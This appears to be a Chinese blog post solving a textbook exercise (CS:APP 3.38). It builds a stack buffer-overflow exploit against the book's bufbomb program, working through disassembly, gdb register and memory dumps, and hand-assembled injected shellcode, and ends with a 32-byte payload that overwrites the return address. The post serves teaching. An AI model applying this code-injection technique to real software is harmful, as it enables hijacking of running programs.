《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例（续1）

本博客（http://blog.csdn.net/livelylittlefish）贴出作者（三二一@小鱼）相关研究、学习内容所做的笔记，欢迎广大朋友指正！

 

 

《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例（续1）

 

1. 问题描述

 

见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087640.aspx

 

2. 目标分析与题解

 

看源程序可以发现，好像无论输入什么数据，其返回结果都是1，打印出来的都是0x1，似乎无从下手。另外，我们攻击的目标只是让其返回0xdeadbeef，不干别的。

 

实验环境：Winxp + cygwin + gcc(3.4.4)

 

2.1 修改源程序？

 

这是题目不允许的。题目的要求是输入一些数据，使其输出为0xdeadbeef。输入什么样的数字串？这就是本题要求解的。

 

2.2 如何得到这个数字串？

 

如果了解程序的编译、链接、执行的过程即可知道，此题不是无解。

由《过程调用与栈帧》一文可知，过程调用时要将参数和返回地址压入栈中，然后进入被调过程执行，待从被调过程返回时，弹出返回地址，将该地址存入%eip寄存器，并转到该地址开始执行。入栈和出栈均是对%esp指向的内存操作，其基地址为%ebp。

 

假设，如果我们输入的是机器码，存放于该缓冲区中，注意到程序中的缓冲区只有12字节，利用缓冲区溢出，将本应存放test调用getbuf的返回地址的内存单元修改为存放可执行的机器码的地址，而这个地址就是我们的缓冲区地址，那么在调用完getbuf后会返回到缓冲区地址处执行我们输入的机器码，在机器码中让程序输出oxdeadbeef，并正确返回继续执行。这样会不会达到目标？

 

这句话有些拗口，总结来讲，就是将存放test调用getbuf的返回地址的内存单元的内容修改为buf缓冲区的地址。


不对源程序进行编译、汇编，我们先手工画出test调用getbuf的栈帧结构。

 

 

                  stack bottom

 high address |=================|<----+

              |                 |     |

              |                 |     |

              |                 |     |

              |                 |  'main' stack frame

              |                 |     |

              |                 |     |

              |                 |     |

              |=================|<----+

     %ebp'->  |    ...          |     |

              |                 |     |

              |    ...          |  'test' stack frame

              |                 |     |

              |-----------------|     |

          +4  |     retAddr     |     |  //retAddr is the address of 'printf' at line 13

              |=================|<----+

      %ebp->  |     %ebp'       |     |  //this saved %ebp' for test stack frame

              |-----------------|     |

              |    ...          |     |

              |                 |     |

              |-----------------|     |

        ^     |                 |     |

        |     |                 |     |

        |     |                 |   'getbuf' stack frame

       buf->  |                 |     |

              |-----------------|     |

              |    ...          |     |

              |-----------------|     |

              |   buf addr      |     |  //this is parameter to getxs

              |-----------------|     |

      %esp->  |     retAddr'    |     |  //retAddr' is the address of 'return' at line 5

              |=================|<----+

              |                 |     |

              |                 |     |

              |    ...          |  'getxs' stack frame

              |                 |     |

              |                 |     |

  low address |-----------------|<----+

                  stack top

 

其中，

'main','test','getbuf','getxs'均为函数名

%ebp'即为'test'栈帧的基地址

%ebp保存'getbuf'栈帧的基地址

%ebp+4保存test调用'getbuf'的返回地址，即retAddr

%esp指向'getbuf'栈帧的栈顶，其中存放retAddr'

retAddr是test调用getbuf后的返回地址，即程序第13行printf函数的地址

retAddr'是getbuf调用getxs

 

我们输入的数据存放在buf指向的一段内存中，且数据由低地址到高地址存放（图中向上箭头所示）。

如果输入的数据不覆盖%ebp+4指向的内存，即buf不溢出，getbuf将永远返回1。

 

如果输入的数据覆盖%ebp+4指向的内存呢？即buf缓冲区溢出，会出现什么样的情况？

 

不能覆盖%ebp指向的内存，即其中的%ebp'不能被修改，如果被修改，程序将不能正确返回，甚至崩溃。

如果%ebp+4指向的内存被修改为newAddr，即retAddr被覆盖而存入newAddr，则test调用getbuf后将返回到newAddr处执行，newAddr要存放一段可执行的代码。

 

这个newAddr是谁？

如果新填入%ebp+4的newAddr是buf缓冲区的起始地址，是否能达到目标？即test调用getbuf后将返回到buf的起始地址处执行。如果newAddr是别的地址，这个地址无从得知，程序也变得不可控。因此，newAddr就是buf的起始地址。

 

到此，基本可以确定如下内容：

 

a. 输入的数据大致内容

 

可执行机器码

%ebp'

newAddr

 

其中%ebp'必须还是存放在%ebp指向的内存中，newAddr存放在%ebp+4指向的内存中，newAddr=buf。

 

b. 输入数据的长度

%ebp+8-buf

其中，可执行机器码的长度为%ebp-buf；接下来的任务就是获得这段可执行的机器码。

 

2.3 如何获得可执行机器码？

 

首先，我们应该确定可执行机器码的功能：

a. 让程序返回0xdeadbeef

b. 返回到%ebp+4指向的返回地址retAddr处继续执行

必须保证第二点，程序才能正确返回。

 

如何在长度为%ebp-buf的机器码中实现以上功能？

 

2.3.1 如何让程序返回0xdeadbeef？

 

先编译源程序，并显示目标文件中的汇编代码：

$ gcc -o bufbomb bufbomb.c $ objdump -d bufbomb.exe > bufbomb.txt

 

在bufbomb.txt文件中，我们可以发现getbuf函数对应的汇编代码如下。

00401129 <_getbuf>:   401129:        55                           push   %ebp   40112a:        89 e5                        mov    %esp,%ebp   40112c:        83 ec 28                     sub    $0x28,%esp   40112f:        8d 45 e8                     lea    0xffffffe8(%ebp),%eax   401132:        89 04 24                     mov    %eax,(%esp)   401135:        e8 16 ff ff ff               call   401050 <_getxs>   40113a:        b8 01 00 00 00               mov    $0x1,%eax   40113f:        c9                           leave    401140:        c3                           ret

 

从汇编代码中，可以看出，返回值0x1被保存到%eax中，然后再返回的。

 

因此，要让程序返回0xdeadbeef，首先要将0xdeadbeef存入%eax中，其对应的汇编代码如下。

mov    $0xdeadbeef,%eax

 

2.3.2 如何保证机器码执行后返回到retAddr处继续执行？

 

在bufbomb.txt文件中，我们也可以找到test函数对应的汇编代码如下。

00401141 <_test>:   401141:        55                           push   %ebp   401142:        89 e5                        mov    %esp,%ebp   401144:        83 ec 18                     sub    $0x18,%esp   401147:        c7 04 24 00 20 40 00         movl   $0x402000,(%esp)   40114e:        e8 3d 01 00 00               call   401290 <_printf>   401153:        e8 d1 ff ff ff               call   401129 <_getbuf>   401158:        89 45 fc                     mov    %eax,0xfffffffc(%ebp)   40115b:        8b 45 fc                     mov    0xfffffffc(%ebp),%eax   40115e:        89 44 24 04                  mov    %eax,0x4(%esp)   401162:        c7 04 24 11 20 40 00         movl   $0x402011,(%esp)   401169:        e8 22 01 00 00               call   401290 <_printf>   40116e:        c9                           leave    40116f:        c3                           ret

 

从中可以看出，test调用getbuf的返回地址为0x401158，即retAddr=0x401158。

 

我们知道，ret指令的作用是从过程调用中返回，其任务有两个：从栈中弹出返回地址，并跳转到那个位置。

因此，要保证机器码执行后返回到retAddr=0x401158处继续执行，就需要将该地址压入栈中，遇到ret指令时，再将retAddr=0x401158从栈中弹出，并跳转到0x401158处继续执行，就能保证程序正确返回到test中，并继续执行。而从getbuf中返回时，返回值在%eax中，其值就是oxdeadbeef。

 

因此，保证机器码执行后返回到retAddr=0x401158处继续执行的机器码对应的汇编代码为：

push   $0x401158 ret

 

 

至此，我们已经获得了要执行的可执行机器码对应的汇编代码如下，保存为bomb.s文件。

mov    $0xdeadbeef,%eax push   $0x401158 ret

 

编译这个文件并显示其目标文件中的汇编代码：

$ gcc -c bomb.s $ objdump -d bomb.o bomb.o:     file format pe-i386 Disassembly of section .text: 00000000 <.text>:    0:   b8 ef be ad de          mov    $0xdeadbeef,%eax    5:   68 58 11 40 00          push   $0x401158    a:   c3                      ret    b:   90                      nop    c:   90                      nop    d:   90                      nop    e:   90                      nop    f:   90                      nop

 

因此，我们获得的可执行机器码为：

b8 ef be ad de 68 58 11 40 00 c3

 

 

从而，我们已经确定的输入数据为：

b8 ef be ad de 68 58 11 40 00 c3

%ebp'

newAddr

 

已经确定的可执行机器码长度为11字节，剩下的事情就是确定%ebp'和newAddr=buf的值了。

 

2.4 如何获得%ebp'和buf缓冲区地址？

 

%ebp'即为test函数的栈帧基地址，其值是在程序链接后并在运行时才能确定的，buf缓冲区的起始地址也在程序运行时确定，因此，我们需要调试代码，查看寄存器的值。调试过程如下。

 

2.4.1 在getbuf函数入口处设置断点，并运行程序

 

$ gdb bufbomb.exe GNU gdb 6.3.50_2004-12-28-cvs (cygwin-special) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB.  Type "show warranty" for details. This GDB was configured as "i686-pc-cygwin"...(no debugging symbols found)   (gdb) b getbuf Breakpoint 1 at 0x40112f (gdb) r Starting program: /cygdrive/e/study/programming/linux/2009-12-18testBufBomb/bomb.exe   Breakpoint 1, 0x0040112f in getbuf () (gdb) disassemble getbuf Dump of assembler code for function getbuf: 0x00401129 :  push   %ebp 0x0040112a :  mov    %esp,%ebp 0x0040112c :  sub    $0x28,%esp 0x0040112f :  lea    0xffffffe8(%ebp),%eax 0x00401132 :  mov    %eax,(%esp) 0x00401135 : call   0x401050 0x0040113a : mov    $0x1,%eax 0x0040113f : leave 0x00401140 : ret End of assembler dump.

 

2.4.2 程序停在0x40112f处


对getbuf的汇编代码解释如下：

0x00401129 :  push   %ebp       //保存test函数的栈帧基地址 0x0040112a :  mov    %esp,%ebp  //设置getbuf的栈帧基地址 0x0040112c :  sub    $0x28,%esp //分配栈空间，大小为0x28，即40字节 0x0040112f :  lea    0xffffffe8(%ebp),%eax //将%ebp-0x18存入%eax 0x00401132 :  mov    %eax,(%esp)  //将%eax的值存入%esp指向的内存 0x00401135 : call   0x401050   //返回地址入栈，并转到0x401050执行 0x0040113a : mov    $0x1,%eax 0x0040113f : leave 0x00401140 : ret

 

查看各个寄存器的值，如下。

(gdb) info registers eax            0x10     16 ecx            0x611030e8       1628451048 edx            0x8889   34953 ebx            0x0      0 esp            0x22bf70 0x22bf70 ebp            0x22bf98 0x22bf98 esi            0x611021a0       1628447136 edi            0x4014d0 4199632 eip            0x40112f 0x40112f eflags         0x202    514 cs             0x1b     27 ss             0x23     35 ds             0x23     35 es             0x23     35 fs             0x3b     59 gs             0x0      0

 

2.4.3 stepi执行0x40112f处的代码，程序停在0x00401132处

 

查看寄存器的值，如下。

(gdb) stepi 0x00401132 in getbuf () (gdb) info registers eax            0x22bf80 2277248 ecx            0x611030e8       1628451048 edx            0x8889   34953 ebx            0x0      0 esp            0x22bf70 0x22bf70 ebp            0x22bf98 0x22bf98 esi            0x611021a0       1628447136 edi            0x4014d0 4199632 eip            0x401132 0x401132 eflags         0x202    514 cs             0x1b     27 ss             0x23     35 ds             0x23     35 es             0x23     35 fs             0x3b     59 gs             0x0      0

 

可以看到，%ebp=0x22bf98，%esp=0x22bf70，%eax=0x22bf80=%ebp-0x18。因%eax的值是如下代码获得的，因此，此时%eax的值是一个有效地址。

0x0040112f :  lea    0xffffffe8(%ebp),%eax //将%ebp-0x18存入%eax

 

同时，我们再查看%esp指向的一块连续内存的内容，如下。

(gdb) x/20 0x22bf70 0x22bf70:       0x611021a0      0x004014d0      0x0022bf98      0x610f0668 0x22bf80:       0x0022d008      0x611030e8      0x00402000      0x0022bfa4 0x22bf90:       0x61102edc      0x00000010      0x0022bfb8      0x00401158 0x22bfa0:       0x00402000      0x0022c388      0x0022c35c      0x00000026 0x22bfb0:       0x0000435c      0x0022bf28      0x0022cc98      0x004011db

 

可以看出，%ebp=0x22bf98指向的内存中存放的是0x0022bfb8，这个地址就是test函数的栈帧基址，即%ebp'=0x0022bfb8。该值在我们的输入数据中不能被覆盖（修改）。

 

2.4.4 最后确定输入数据

 

0x00401132处的代码如下。

0x00401132 :  mov    %eax,(%esp)  //将%eax的值存入%esp指向的内存

 

至此，其实已经没有必要再执行了。0x00401132处的代码实际上就是将调用getxs的参数buf的地址存入栈中，但执行的不是push操作，直接存放。因此即可确定buf缓冲区的起始地址，即buf=0x22bf80。

（一般地，参数在%eax中。）

 

从而，我们已经确定的输入数据为：

b8 ef be ad de 68 58 11 40 00 c3

0x0022bfb8

0x22bf80

 

且%ebp'=0x0022bfb8存放在0x22bf98单元中，而buf=0x22bf80存放在0x22bf9c单元中。展开该数据，其输入形式为：

b8 ef be ad de 68 58 11 40 00 c3 [此处若不够填充则补0]

b8 bf 22 00

80 bf 22 00

 

2.5 此时程序的栈帧

 

                  stack bottom

 high address |=================|<--------+

              |                 |         |

              |                 |         |

              |                 |         |

              |      ...        |       'main' stack frame

              |                 |         |

              |                 |         |

              |                 |         |

              |=================|<--------+

      %ebp'-> |                 |0x22bfb8 |

              |-----------------|         |

              |                 |0x22bfb4 |

              |-----------------|         |

              |                 |0x22bfb0 |

              |-----------------|         |

              |                 |0x22bfac 'test' stack frame

              |-----------------|         |

              |                 |0x22bfa8 |

              |-----------------|         |

              |                 |0x22bfa4 |

              |-----------------|         |

              |                 |0x22bfa0 |

              |-----------------|         |

          +4  |   0x00401158    |0x22bf9c |  //retAddr is the address of 'printf' at line 13

              |=================|<--------+

       %ebp-> |   0x0022bfb8    |0x22bf98 |  //%ebp'=0x0022bfb8

              |-----------------|         |

              |                 |0x22bf94 |

              |-----------------|         |

              |                 |0x22bf90 |

              |-----------------|         |

              |                 |0x22bf8c |

           -> |-----------------|         |

           |  |                 |0x22bf88 |

           |  |-----------------|         |

           |  |                 |0x22bf84 |

           |  |-----------------|        'getbuf' stack frame

        buf-> |                 |0x22bf80 |

              |-----------------|         |

              |                 |0x22bf7c |

              |-----------------|         |

              |                 |0x22bf78 |

              |-----------------|         |

              |                 |0x22bf74 |

              |-----------------|         |

       %esp-> |   0x0022bf80    |0x22bf70 |  //the address of parameter 'buf'

              |-----------------|         |

  new %esp1-> |   0x0040113a    |0x22bf6c |

              |=================|<--------+

  new %esp2-> |   0x0022bf98    |0x22bf68 | <-%ebp'', the base addr of 'getxs' stack frame

              |-----------------|         |

              |                 |0x22bf64 |

              |-----------------|         |

              |                 |       'getxs' stack frame

              |                 |         |

              |      ...        |         |

              |                 |         |

              |                 |         |

  low address |-----------------|<--------+

                  stack top

 

 

2.6 输入数据在栈中的表示

 

将输入的数据填入缓冲区中，栈帧的变化如下。栈中划线的代码是我们已经确定的，黄色背景的代码是填充的。

 

              |-----------------|         |

              |                 |0x22bfa0 |

              |-----------------|         |

          +4  |   0x0022bf80    |0x22bf9c |

              |=================|<--------+

       %ebp-> |   0x0022bfb8    |0x22bf98 |  //%ebp'=0x0022bfb8

              |-----------------|         |

              |   0x00000000    |0x22bf94 |

              |-----------------|         |

              |   0x00000000    |0x22bf90 |

              |-----------------|         |

              |   0x00000000    |0x22bf8c |

           -> |-----------------|         |

           |  |   0x4000c300    |0x22bf88 |

           |  |-----------------|         |

           |  |   0xde685811    |0x22bf84 |

           |  |-----------------|        'getbuf' stack frame

        buf-> |   0xb8efbead    |0x22bf80 |

              |-----------------|         |

              |                 |0x22bf7c |

              |-----------------|         |

              |                 |0x22bf78 |

              |-----------------|         |

              |                 |0x22bf74 |

              |-----------------|         |

       %esp-> |   0x0022bf80    |0x22bf70 |  //the address of parameter 'buf'

              |-----------------|         |

  new %esp1-> |   0x0040113a    |0x22bf6c |

              |=================|<--------+

 

其存放形式为：

高字节（高位） => 高地址

低字节（低位） => 低地址

 

例如0x22bf98处的0x0022bfb8，

              |-----------------|

              |    0x00         |0x22bf9b

              |-----------------|

              |    0x22         |0x22bf9a

              |-----------------|

              |    0xbf         |0x22bf99

              |-----------------|

              |    0xb8         |0x22bf98

              |-----------------|

 

至此，我们确定的输入数据为：

b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00

 

共32字节，其中划线部分的0要填满并使缓冲区溢出，从而使缓冲区的地址0x0022bf80能被写入0x22bf9c单元覆盖原来的返回地址0x00401158，从而使test调用getbuf返回时转到缓冲区的地址0x0022bf80处执行我们的代码。

 

2.7 确认buf的地址

 

2.7.1 stepi继续执行0x00401132处的代码，程序停在0x00401135处

 

此时寄存器和内存的值如下。

(gdb) stepi 0x00401135 in getbuf () (gdb) info registers eax            0x22bf80 2277248 ecx            0x611030e8       1628451048 edx            0x8889   34953 ebx            0x0      0 esp            0x22bf70 0x22bf70 ebp            0x22bf98 0x22bf98 esi            0x611021a0       1628447136 edi            0x4014d0 4199632 eip            0x401135 0x401135 eflags         0x202    514 cs             0x1b     27 ss             0x23     35 ds             0x23     35 es             0x23     35 fs             0x3b     59 gs             0x0      0 (gdb) x/20 0x22bf70 0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668 0x22bf80:       0x0022d008      0x611030e8      0x00402000      0x0022bfa4 0x22bf90:       0x61102edc      0x00000010      0x0022bfb8      0x00401158 0x22bfa0:       0x00402000      0x0022c388      0x0022c35c      0x00000026 0x22bfb0:       0x0000435c      0x0022bf28      0x0022cc98      0x004011db (gdb) x/64xb 0x22bf70 0x22bf70:       0x80    0xbf    0x22    0x00    0xd0    0x14    0x40    0x00 0x22bf78:       0x98    0xbf    0x22    0x00    0x68    0x06    0x0f    0x61 0x22bf80:       0x08    0xd0    0x22    0x00    0xe8    0x30    0x10    0x61 0x22bf88:       0x00    0x20    0x40    0x00    0xa4    0xbf    0x22    0x00 0x22bf90:       0xdc    0x2e    0x10    0x61    0x10    0x00    0x00    0x00 0x22bf98:       0xb8    0xbf    0x22    0x00    0x58    0x11    0x40    0x00 0x22bfa0:       0x00    0x20    0x40    0x00    0x88    0xc3    0x22    0x00 0x22bfa8:       0x5c    0xc3    0x22    0x00    0x26    0x00    0x00    0x00

 

可以发现，%eax的值0x0022bf80已被写入%esp=0x22bf70指向的内存。同时也可确定数据的存放形式。

 

2.7.2 stepi继续执行0x00401135处的代码，此时程序进入getxs函数，停在0x401050处

 

0x00401135处的代码如下。

0x00401135 : call   0x401050   //返回地址入栈，并转到0x401050执行 0x0040113a : mov    $0x1,%eax

 

call指令的任务有两个：将返回地址入栈，并转到目标地址继续执行。getbuf调用getxs的返回地址为0x0040113a。call之前%esp=0x22bf70，而call之后，%esp=0x22bf6c，返回地址0x0040113a也被压入栈中地址为0x22bf6c的单元中。这些均可在如下的执行过程中得到验证。

 

(gdb) stepi 0x00401050 in getxs () (gdb) info registers eax            0x22bf80 2277248 ecx            0x611030e8       1628451048 edx            0x8889   34953 ebx            0x0      0 esp            0x22bf6c 0x22bf6c ebp            0x22bf98 0x22bf98 esi            0x611021a0       1628447136 edi            0x4014d0 4199632 eip            0x401050 0x401050 eflags         0x202    514 cs             0x1b     27 ss             0x23     35 ds             0x23     35 es             0x23     35 fs             0x3b     59 gs             0x0      0

 

2.7.3 stepi继续执行0x00401135处的代码

 

getxs函数的汇编代码如下。

00401050 <_getxs>:   401050:        55                           push   %ebp   401051:        89 e5                        mov    %esp,%ebp   401053:        83 ec 18                     sub    $0x18,%esp   401056:        c7 45 f8 01 00 00 00         movl   $0x1,0xfffffff8(%ebp)   40105d:        c7 45 f4 00 00 00 00         movl   $0x0,0xfffffff4(%ebp)   401064:        8b 45 08                     mov    0x8(%ebp),%eax   401067:        89 45 f0                     mov    %eax,0xfffffff0(%ebp)   40106a:        e8 31 02 00 00               call   4012a0 <___getreent>   ...

 

继续执行程序，直到停在0x401056处，查看寄存器、内存的值如下。

(gdb) stepi 0x00401051 in getxs () (gdb) stepi 0x00401053 in getxs () (gdb) stepi 0x00401056 in getxs () (gdb) info registers eax            0x22bf80 2277248 ecx            0x611030e8       1628451048 edx            0x8889   34953 ebx            0x0      0 esp            0x22bf50 0x22bf50 ebp            0x22bf68 0x22bf68 esi            0x611021a0       1628447136 edi            0x4014d0 4199632 eip            0x401056 0x401056 eflags         0x206    518 cs             0x1b     27 ss             0x23     35 ds             0x23     35 es             0x23     35 fs             0x3b     59 gs             0x0      0 (gdb) x/20 0x22bf50 0x22bf60:       0x7c91043e      0x0022c2d0      0x0022bf98      0x0040113a 0x22bf70:       0x0022bf80      0x004014d0      0x0022bf98      0x610f0668 0x22bf80:       0x0022d008      0x611030e8      0x00402000      0x0022bfa4 0x22bf90:       0x61102edc      0x00000010      0x0022bfb8      0x00401158 0x22bfa0:       0x00402000      0x0022c388      0x0022c35c      0x00000026

 

至此，即可确认我们前面的假设和分析。